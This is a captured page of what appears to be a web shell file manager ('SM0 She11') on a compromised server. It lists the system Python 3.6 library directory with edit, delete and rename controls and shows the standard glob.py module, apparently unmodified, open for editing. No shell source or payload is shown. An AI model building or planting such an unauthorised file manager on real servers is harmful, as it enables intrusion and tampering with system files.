SM0 She11
Path:
/
/
usr
/
lib64
/
python3.6
Full Path (server): /usr/lib64/python3.6
Create Fil3
Upl04d Fil3
📄 __future__.py
[E]
[D]
[R]
📄 __phello__.foo.py
[E]
[D]
[R]
📁 __pycache__
Open
[D]
[R]
📄 _bootlocale.py
[E]
[D]
[R]
📄 _collections_abc.py
[E]
[D]
[R]
📄 _compat_pickle.py
[E]
[D]
[R]
📄 _compression.py
[E]
[D]
[R]
📄 _dummy_thread.py
[E]
[D]
[R]
📄 _markupbase.py
[E]
[D]
[R]
📄 _osx_support.py
[E]
[D]
[R]
📄 _pydecimal.py
[E]
[D]
[R]
📄 _pyio.py
[E]
[D]
[R]
📄 _sitebuiltins.py
[E]
[D]
[R]
📄 _strptime.py
[E]
[D]
[R]
📄 _sysconfigdata_dm_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _sysconfigdata_m_linux_x86_64-linux-gnu.py
[E]
[D]
[R]
📄 _threading_local.py
[E]
[D]
[R]
📄 _weakrefset.py
[E]
[D]
[R]
📄 abc.py
[E]
[D]
[R]
📄 aifc.py
[E]
[D]
[R]
📄 antigravity.py
[E]
[D]
[R]
📄 argparse.py
[E]
[D]
[R]
📄 ast.py
[E]
[D]
[R]
📄 asynchat.py
[E]
[D]
[R]
📁 asyncio
Open
[D]
[R]
📄 asyncore.py
[E]
[D]
[R]
📄 base64.py
[E]
[D]
[R]
📄 bdb.py
[E]
[D]
[R]
📄 binhex.py
[E]
[D]
[R]
📄 bisect.py
[E]
[D]
[R]
📄 bz2.py
[E]
[D]
[R]
📄 cProfile.py
[E]
[D]
[R]
📄 calendar.py
[E]
[D]
[R]
📄 cgi.py
[E]
[D]
[R]
📄 cgitb.py
[E]
[D]
[R]
📄 chunk.py
[E]
[D]
[R]
📄 cmd.py
[E]
[D]
[R]
📄 code.py
[E]
[D]
[R]
📄 codecs.py
[E]
[D]
[R]
📄 codeop.py
[E]
[D]
[R]
📁 collections
Open
[D]
[R]
📄 colorsys.py
[E]
[D]
[R]
📄 compileall.py
[E]
[D]
[R]
📁 concurrent
Open
[D]
[R]
📁 config-3.6m-x86_64-linux-gnu
Open
[D]
[R]
📄 configparser.py
[E]
[D]
[R]
📄 contextlib.py
[E]
[D]
[R]
📄 copy.py
[E]
[D]
[R]
📄 copyreg.py
[E]
[D]
[R]
📄 crypt.py
[E]
[D]
[R]
📄 csv.py
[E]
[D]
[R]
📁 ctypes
Open
[D]
[R]
📁 curses
Open
[D]
[R]
📄 datetime.py
[E]
[D]
[R]
📁 dbm
Open
[D]
[R]
📄 decimal.py
[E]
[D]
[R]
📄 difflib.py
[E]
[D]
[R]
📄 dis.py
[E]
[D]
[R]
📁 distutils
Open
[D]
[R]
📄 doctest.py
[E]
[D]
[R]
📄 dummy_threading.py
[E]
[D]
[R]
📁 email
Open
[D]
[R]
📁 encodings
Open
[D]
[R]
📁 ensurepip
Open
[D]
[R]
📄 enum.py
[E]
[D]
[R]
📄 filecmp.py
[E]
[D]
[R]
📄 fileinput.py
[E]
[D]
[R]
📄 fnmatch.py
[E]
[D]
[R]
📄 formatter.py
[E]
[D]
[R]
📄 fractions.py
[E]
[D]
[R]
📄 ftplib.py
[E]
[D]
[R]
📄 functools.py
[E]
[D]
[R]
📄 genericpath.py
[E]
[D]
[R]
📄 getopt.py
[E]
[D]
[R]
📄 getpass.py
[E]
[D]
[R]
📄 gettext.py
[E]
[D]
[R]
📄 glob.py
[E]
[D]
[R]
📄 gzip.py
[E]
[D]
[R]
📄 hashlib.py
[E]
[D]
[R]
📄 heapq.py
[E]
[D]
[R]
📄 hmac.py
[E]
[D]
[R]
📁 html
Open
[D]
[R]
📁 http
Open
[D]
[R]
📄 imaplib.py
[E]
[D]
[R]
📄 imghdr.py
[E]
[D]
[R]
📄 imp.py
[E]
[D]
[R]
📁 importlib
Open
[D]
[R]
📄 inspect.py
[E]
[D]
[R]
📄 io.py
[E]
[D]
[R]
📄 ipaddress.py
[E]
[D]
[R]
📁 json
Open
[D]
[R]
📄 keyword.py
[E]
[D]
[R]
📁 lib-dynload
Open
[D]
[R]
📁 lib2to3
Open
[D]
[R]
📄 linecache.py
[E]
[D]
[R]
📄 locale.py
[E]
[D]
[R]
📁 logging
Open
[D]
[R]
📄 lzma.py
[E]
[D]
[R]
📄 macpath.py
[E]
[D]
[R]
📄 macurl2path.py
[E]
[D]
[R]
📄 mailbox.py
[E]
[D]
[R]
📄 mailcap.py
[E]
[D]
[R]
📄 mimetypes.py
[E]
[D]
[R]
📄 modulefinder.py
[E]
[D]
[R]
📁 multiprocessing
Open
[D]
[R]
📄 netrc.py
[E]
[D]
[R]
📄 nntplib.py
[E]
[D]
[R]
📄 ntpath.py
[E]
[D]
[R]
📄 nturl2path.py
[E]
[D]
[R]
📄 numbers.py
[E]
[D]
[R]
📄 opcode.py
[E]
[D]
[R]
📄 operator.py
[E]
[D]
[R]
📄 optparse.py
[E]
[D]
[R]
📄 os.py
[E]
[D]
[R]
📄 pathlib.py
[E]
[D]
[R]
📄 pdb.py
[E]
[D]
[R]
📄 pickle.py
[E]
[D]
[R]
📄 pickletools.py
[E]
[D]
[R]
📄 pipes.py
[E]
[D]
[R]
📄 pkgutil.py
[E]
[D]
[R]
📄 platform.py
[E]
[D]
[R]
📄 plistlib.py
[E]
[D]
[R]
📄 poplib.py
[E]
[D]
[R]
📄 posixpath.py
[E]
[D]
[R]
📄 pprint.py
[E]
[D]
[R]
📄 profile.py
[E]
[D]
[R]
📄 pstats.py
[E]
[D]
[R]
📄 pty.py
[E]
[D]
[R]
📄 py_compile.py
[E]
[D]
[R]
📄 pyclbr.py
[E]
[D]
[R]
📄 pydoc.py
[E]
[D]
[R]
📁 pydoc_data
Open
[D]
[R]
📄 queue.py
[E]
[D]
[R]
📄 quopri.py
[E]
[D]
[R]
📄 random.py
[E]
[D]
[R]
📄 re.py
[E]
[D]
[R]
📄 reprlib.py
[E]
[D]
[R]
📄 rlcompleter.py
[E]
[D]
[R]
📄 runpy.py
[E]
[D]
[R]
📄 sched.py
[E]
[D]
[R]
📄 secrets.py
[E]
[D]
[R]
📄 selectors.py
[E]
[D]
[R]
📄 shelve.py
[E]
[D]
[R]
📄 shlex.py
[E]
[D]
[R]
📄 shutil.py
[E]
[D]
[R]
📄 signal.py
[E]
[D]
[R]
📁 site-packages
Open
[D]
[R]
📄 site.py
[E]
[D]
[R]
📄 smtpd.py
[E]
[D]
[R]
📄 smtplib.py
[E]
[D]
[R]
📄 sndhdr.py
[E]
[D]
[R]
📄 socket.py
[E]
[D]
[R]
📄 socketserver.py
[E]
[D]
[R]
📁 sqlite3
Open
[D]
[R]
📄 sre_compile.py
[E]
[D]
[R]
📄 sre_constants.py
[E]
[D]
[R]
📄 sre_parse.py
[E]
[D]
[R]
📄 ssl.py
[E]
[D]
[R]
📄 stat.py
[E]
[D]
[R]
📄 statistics.py
[E]
[D]
[R]
📄 string.py
[E]
[D]
[R]
📄 stringprep.py
[E]
[D]
[R]
📄 struct.py
[E]
[D]
[R]
📄 subprocess.py
[E]
[D]
[R]
📄 sunau.py
[E]
[D]
[R]
📄 symbol.py
[E]
[D]
[R]
📄 symtable.py
[E]
[D]
[R]
📄 sysconfig.py
[E]
[D]
[R]
📄 tabnanny.py
[E]
[D]
[R]
📄 tarfile.py
[E]
[D]
[R]
📄 telnetlib.py
[E]
[D]
[R]
📄 tempfile.py
[E]
[D]
[R]
📁 test
Open
[D]
[R]
📄 textwrap.py
[E]
[D]
[R]
📄 this.py
[E]
[D]
[R]
📄 threading.py
[E]
[D]
[R]
📄 timeit.py
[E]
[D]
[R]
📄 token.py
[E]
[D]
[R]
📄 tokenize.py
[E]
[D]
[R]
📄 trace.py
[E]
[D]
[R]
📄 traceback.py
[E]
[D]
[R]
📄 tracemalloc.py
[E]
[D]
[R]
📄 tty.py
[E]
[D]
[R]
📄 types.py
[E]
[D]
[R]
📄 typing.py
[E]
[D]
[R]
📁 unittest
Open
[D]
[R]
📁 urllib
Open
[D]
[R]
📄 uu.py
[E]
[D]
[R]
📄 uuid.py
[E]
[D]
[R]
📁 venv
Open
[D]
[R]
📄 warnings.py
[E]
[D]
[R]
📄 wave.py
[E]
[D]
[R]
📄 weakref.py
[E]
[D]
[R]
📄 webbrowser.py
[E]
[D]
[R]
📁 wsgiref
Open
[D]
[R]
📄 xdrlib.py
[E]
[D]
[R]
📁 xml
Open
[D]
[R]
📁 xmlrpc
Open
[D]
[R]
📄 zipapp.py
[E]
[D]
[R]
📄 zipfile.py
[E]
[D]
[R]
Editing: glob.py
"""Filename globbing utility.""" import os import re import fnmatch __all__ = ["glob", "iglob", "escape"] def glob(pathname, *, recursive=False): """Return a list of paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '*' and '?' patterns. If recursive is true, the pattern '**' will match any files and zero or more directories and subdirectories. """ return list(iglob(pathname, recursive=recursive)) def iglob(pathname, *, recursive=False): """Return an iterator which yields the paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '*' and '?' patterns. If recursive is true, the pattern '**' will match any files and zero or more directories and subdirectories. """ it = _iglob(pathname, recursive, False) if recursive and _isrecursive(pathname): s = next(it) # skip empty string assert not s return it def _iglob(pathname, recursive, dironly): dirname, basename = os.path.split(pathname) if not has_magic(pathname): assert not dironly if basename: if os.path.lexists(pathname): yield pathname else: # Patterns ending with a slash should match only directories if os.path.isdir(dirname): yield pathname return if not dirname: if recursive and _isrecursive(basename): yield from _glob2(dirname, basename, dironly) else: yield from _glob1(dirname, basename, dironly) return # `os.path.split()` returns the argument itself as a dirname if it is a # drive or UNC path. Prevent an infinite recursion if a drive or UNC path # contains magic characters (i.e. r'\\?\C:'). if dirname != pathname and has_magic(dirname): dirs = _iglob(dirname, recursive, True) else: dirs = [dirname] if has_magic(basename): if recursive and _isrecursive(basename): glob_in_dir = _glob2 else: glob_in_dir = _glob1 else: glob_in_dir = _glob0 for dirname in dirs: for name in glob_in_dir(dirname, basename, dironly): yield os.path.join(dirname, name) # These 2 helper functions non-recursively glob inside a literal directory. # They return a list of basenames. _glob1 accepts a pattern while _glob0 # takes a literal basename (so it only has to check for its existence). def _glob1(dirname, pattern, dironly): names = list(_iterdir(dirname, dironly)) if not _ishidden(pattern): names = (x for x in names if not _ishidden(x)) return fnmatch.filter(names, pattern) def _glob0(dirname, basename, dironly): if not basename: # `os.path.split()` returns an empty basename for paths ending with a # directory separator. 'q*x/' should match only directories. if os.path.isdir(dirname): return [basename] else: if os.path.lexists(os.path.join(dirname, basename)): return [basename] return [] # Following functions are not public but can be used by third-party code. def glob0(dirname, pattern): return _glob0(dirname, pattern, False) def glob1(dirname, pattern): return _glob1(dirname, pattern, False) # This helper function recursively yields relative pathnames inside a literal # directory. def _glob2(dirname, pattern, dironly): assert _isrecursive(pattern) yield pattern[:0] yield from _rlistdir(dirname, dironly) # If dironly is false, yields all file names inside a directory. # If dironly is true, yields only directory names. def _iterdir(dirname, dironly): if not dirname: if isinstance(dirname, bytes): dirname = bytes(os.curdir, 'ASCII') else: dirname = os.curdir try: with os.scandir(dirname) as it: for entry in it: try: if not dironly or entry.is_dir(): yield entry.name except OSError: pass except OSError: return # Recursively yields relative pathnames inside a literal directory. def _rlistdir(dirname, dironly): names = list(_iterdir(dirname, dironly)) for x in names: if not _ishidden(x): yield x path = os.path.join(dirname, x) if dirname else x for y in _rlistdir(path, dironly): yield os.path.join(x, y) magic_check = re.compile('([*?[])') magic_check_bytes = re.compile(b'([*?[])') def has_magic(s): if isinstance(s, bytes): match = magic_check_bytes.search(s) else: match = magic_check.search(s) return match is not None def _ishidden(path): return path[0] in ('.', b'.'[0]) def _isrecursive(pattern): if isinstance(pattern, bytes): return pattern == b'**' else: return pattern == '**' def escape(pathname): """Escape all special characters. """ # Escaping is done by wrapping any of "*?[" between square brackets. # Metacharacters do not work in the drive part and shouldn't be escaped. drive, pathname = os.path.splitdrive(pathname) if isinstance(pathname, bytes): pathname = magic_check_bytes.sub(br'[\1]', pathname) else: pathname = magic_check.sub(r'[\1]', pathname) return drive + pathname
Save